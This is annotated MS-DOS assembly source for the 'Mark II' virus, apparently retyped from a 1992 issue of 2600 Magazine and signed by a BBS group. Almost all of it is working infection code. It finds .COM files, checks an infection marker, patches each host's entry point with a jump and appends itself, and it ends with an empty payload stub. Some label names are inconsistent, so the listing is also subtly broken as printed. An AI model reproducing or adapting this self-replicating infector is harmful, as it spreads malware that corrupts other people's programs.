PAGE,120 ;Taken from 2600 Magazine, Spring 1992 ,Vol. 9, No. 1! ;Typing work done by OMEGA/MEGA-Ind. On 31th may 92. ; ;File VIRUS.ASM - This is the launch program for the Mark II virus ;It is to be assembled, linked, and converted to a *.COM file using ;EXE2BIN. When run, it looks within the defined search space for other ;COM files to infect, and infects them. Then it runs its payload module. ;This launch program is structured like an infected file, so it contains ;a "dummy" host program like that which would be in an infected file. ;Control is returned to this dummy host program when this program runs. ;In the infected file, control will be returned to the actual program ;it contains after the payload module of its parasitic virus runs. _VIRUS SEGMENT ASSUME cs:_VIRUS,ds:_VIRUS,ss:_VIRUS ORG 100h ;This is the start of the dummy host program. Control is transferred ;here after the virus runs. All it does is terminate the program with ;a normal MS-DOS termination call, after having put out a message ;informing that the program has terminated normally. ;The next instruction is what is actually intended to be ;in the dummy host program. It is the beginning of the code which ;sets up the DOS call to write the termination message on the screen. ;The infected program which would have infected this one would have ;inserted a jump to the beginning of the virus over this, after saving ;what was actually there. When the virus completes, it will restore ;the parts of the mangled original host code, and run the host program. ; ; mov bx,1 ; ;What you see encoded below, using the "db" assembler pseudo-op, is ;the hand encoded jump to the beginning of the virus, installed by the ;program which would have infected this one. As it happens, the jump ;written into the beginning is the same length as the instruction ;(mov bx,1) which was there in the first place. In general, there ;is no guarantee just what will be there, and how long it will be. ;Since the program being infected is a COM program, the only guarantee ;is that the file will begin with some executable instruction. Thus, ;the program getting infected may have part of an executable instruction ;mangled by the inserted jump, or possibly one entire instruction plus ;part of another. ; ;The inserted code begins with "E9", the op-code byte for a jump relative ;to the contents of the IP as it will look after the jump plus displacement ;is fetched. (The IP will contain 103h. COM programs begin at offset ;100h, and the jump plus displacement requires 3 bytes.) The Next two ;bytes are the displacement to the beginning of the virus. The ;displacement is calculated by the infecting program, as follows: ; ;D = displacement to be added to current IP (=103) to get to virus start. ;D = Uninfected file length ; - ; Current IP (=103) ; + ; 4 bytes storage space for the overwritten first instruction. ; ; If the uninfected length of the target file is odd, a zero byte ; will be added at its end before the virus code is attached. ; ; The virus will thus begin on a word boundary, and NOP's inserted ; by the assembler to put other things on a word boundary will still ; perform their intended purpose. ; filelength EQU begin-start start: db 0E9h ;Op-code for jump dw filelength+4-3 ;Displacement calculation mov cx,lmessage mov dx,OFFSET message mov ah,40h int 21h ;Put termination message on the screen mov ah,4Ch ;Function number of normal pgm termination int 21h ;Call DOS and terminate. message: db "Launch program has terminated normally.",0Dh,0Ah,0 lmessage EQU $-message ;This ends the dummy host program. What follows is the actual virus, ;which will be copied into the target file. virlength EQU finish-begin+102h ;Length of virus + PSP + initial stack. begin: db 0bbh,01,00 ;The instruction "mov bx,1" which ;would have been saved here by the ;infected program. db 00 ;Make save bin 4 bytes total. virusbegin: ;The beginning of the actual virus code. ;Get and save the base address of the virus. mov bp,101h ;Address of LSB of jump displacement mov bx,WORDPTR[bp] ;Get displacement in bx add bx,103h ;Add IP contents after first instruction ;Now bx contains address of "virusbegin:" mov bp,100h ;Beginning of pgm, where original ;instruction will be restored. mov dl,[bx-4] mov [bp],dl ;First byte mov dl,[bx-3] mov [bp+1],dl ;Second byte mov dl,[bx-2] mov [bp+2],dl ;Third byte push bx ;Save the actual start of virus. ;########## STACK POINTER INFO:One word pushed on stack ########### ;********** Beginning of the Infection Module *************** ;First, search for an uninfected candidate file. If one is found, ;infect it before running the payload module. If none is found, ;proceed directly with the payload Module. ;Use function SFIRST (int 21h,fn. 4Eh) to get a candidate file. jmp sfirst ;Jump over wildcard string wildcard: db "*.COM",0 ;Wildcard name for COM files sfirst: mov ah,4Eh ;Function no. of SFIRST pop dx ;Get base address of virus start push dx ;Restore the stack pointer add dx,wildcard-virusbegin ;Add distance to string. mov cx,0 ;Attribute word=seek normal files int 21h ;Call DOS jnc over1 ;Found one. jmp payload ;Otherwise, no COM files, do payload. ;Now that a candidate file is found, make sure that when the virus is ;added, it will not be too long to be a COM file. COM file maximum ;length is 64kbytes less 100h bytes for the PSP, less two bytes for the 0 ;bytes added on the stack by the operating system on loading. over1: mov bx,80h+1Ah ;Address in PSP/PCB containing file length. mov ax,virlength ;Length of virus add ax,[bx] ;Will get overflow if file length too big. jno checkinfect ;No overflow, keep going. jmp snext ;This file too big to infect, try another ;A candidate file has been found. Determine if it is infected, or ;go on to the next one. checkinfect: ;Open the file. fileopen: mov ah,3Dh ;Fn. no of OPEN WITH HANDLE mov al,02 ;Open for read/write access. mov dx,80h+1Eh ;Location in DTA of file name int 21h ;Call DOS. jnc opened ;Open was successful, continue jmp snext ;Cannot open this file, look for more. opened: push ax ;Save file handle. ;########## STACK POINTER INFO: Two words pushed on stack ############# ;Open was successful, move the file pointer to the infection marker. mov ah,42h ;Function no. of LSEEK mov al,02 ;Measure offset from end of file pop bx ;Get file handle. push bx ;Keep file handle on top of stack mov cx,0FFFFh ;MSB of offset from end. ;Sign extend. mov dx,0FFFCh ;LSB of infection marker. ;File end -4. int 21h ;Call DOS. jnc over3 ;No error, continue. jmp closefil ;Error occurred, close this one ;and look again. ;Read the last four bytes. over3: mov ah,3Fh ;Fn. no of READ pop bx ;Get file handle. pop dx ;Get address of "virusbegin:" push dx ;Restore to stack push bx ;Restore file handle on stack. add dx,-4 ;Move pointer back to start of save bin. mov cx,4 ;Read 4 bytes int 21h ;Call DOS jnc over4 ;No error, keep going. jmp closefile ;Error occurred, close this one, look again. ;Compare the last four bytes with the infection marker. over4: pop bx ;Take file handle off to get to adr. pop bp ;Get address of "virusbegin:" push bp ;Restore buffer address push bx ;Restore file handle. mov bh,[bp-4] ;First byte mov bl,[bp-3] ;Second byte xor bx,0001h ;First half match? jnz over5 ;First half doesn't match, continue. over4a: mov bh,[bp-2] ;Third byte mov bl,[bp-1] ;Fourth byte xor bx,0FFE0h ;Second half match? jnz over5 ;No match. Continue. jmp closefile ;Matches marker. Close and try again. ;File is not infected. Proceed to infect. ; ;Move file pointer to beginning of file. over5: mov ah,42h ;Fn. no. of LSEEK pop bx ;File handle in bx. push bx ;Keep the stack equalized. mov al,00 ;Offset from file beginning. mov cx,0 ;Offset = 0 mov dx,0 ;Offset = 0 int 21h ;Call DOS jnc over6 ;No error, continue jmp closfile ;Error, try another file. ;Save the first three bytes in the buffer. over6: mov ah,3Fh ;Fn. no. of READ pop bx ;Get the file handle pop dx ;Beginning of buffer push dx ;Restore the stack push bx ;Restore the stack add dx,-4 ;Move pointer to start of save bin. mov cx,3 ;Read 3 bytes int 21h ;Call DOS mov al,0 ;Zero byte for fourth loc. in save bin. add dx,3 ;Reg. dx points to fourth loc in save bin mov bp,dx ;Place in base pointer for index. mov [bp],al ;Write zero byte in fourth loc. ;Move file pointer back to the beginning of the file. mov ah,42h ;Fn. no. of LSEEK pop bx ;File handle in bx. push bx ;Restore the stack mov al,00 ;Offset from file beginning mov cx,0 ;Zero offset mov dx,0 ;Zero offset int 21h ;Call DOS jnc past ;No error, continue jmp closefile ;Error, try another file ;Overwrite the first three bytes with a jump to virus beginning. tembuf: db 0E9h,0,0 past: pop bx ;Get file handle pop bp ;Get actual address of "virusbegin" push bp ;Equalize stack push bx ;Equalize stack mov si,80h+1Ah ;Location in DTA of file length mov ax,[si] ;Get target file length in ax xchg ah,al ;Swap halves temporarily sahf ;Lower byte of file length to flag reg. xchg ah,al ;Swap back jnc noadd ;LSB of ax into carry. Jump if c(ax) even. add ax,1 ;Else, add one to c(ax) to make result even. noadd: add ax,1 ;Total jump is file length -3+1 add bp,tempbuf-virusbegin ; Get address of tempbuf in bp mov [bp+1],al ;First displacement byte mov [bp+2],ah ;Second displacement byte mov dx,bp ;Start of buffer to dx mov ah,40h ;Function no. of WRITE mov cx,3 ;Write 3 Bytes int 21h ;Call DOS ;Move the file pointer to the end of the file. mov ah,42h ;Fn. no. of LSEEK mov al,02 ;Offset measured from end. mov cx,0 ;Zero offset mov dx,0 ;Zero offset pop bx ;Get file handle push bx ;Restore the stack int 21h ;Call DOS ;Check target file length. If odd, add a 0 byte at the end. mov bp,80h+1Ah ;Address of lower byte of file length mov ax,[bp] ;Get lower byte in ax for comparison and ax,1 ;Get lsb of file length jz skip ;Skip if file length even mov ah,40h ;Fn. no. of WRITE pop bx ;Get file handle pop bp ;Address of "virusbegin" push bp ;Equalize stack push bx ;Equalize stack add bp,-1 ;Move pointer just behind saved 3 bytes mov dx,bp ;Location of one byte buffer mov cx,1 ;Write one byte mov [bp],ch ;Zero byte to be written int 21h ;Call DOS ;Write the virus onto the end of the target file. skip: mov ah,40h ;Fn. no. of WRITE mov cx,finish-begin ;No. of bytes to be written equals 4 byte ;save bin plus virus executable code. pop bx ;Get file handle pop dx ;Address of "virusbegin" push dx ;Equalized stack push bx ;Equalized stack add dx,-4 ;Include saved first three bytes. int 21h ;Call DOS pop bx ;Get file handle mov ah,3Eh ;Fn. no. of CLOSE int 21h ;Close file for good. jmp payload ;Infection complete. Run the viruspayload. closefile: pop bx ;Get file handle off stack permanently mov ah,3Eh ;Fn. no. of CLOSE int 21h ;Call DOS ; ########### STACK POINTER INFO:One word pushed on stack ########### snext: mov ah,4Fh ;Function no. of SNEXT int 21h ;Call DOS jc payload ;If error, just go and do payload. jmp fileopen ;Otherwise, try to infect this one ; *********** End of the Infection Module ************ ; ************** Beginning of the Payload Module. ********** payload: nop ; ************** End of the Payload Module ************ ;Time to finish up. Restore the stack and jump to cs:100h pop bp ;############# STACK POINTER INFO:Nothing left on stack ########### mov ax,100h jmp ax finish: _VIRUS ENDS END start ; Remember Where You Saw it First ; -----------> Perfect Crime : +31-(0)-79-426-079 <------------- ; Typing Work Done by OMEGA/MEGA-Ind.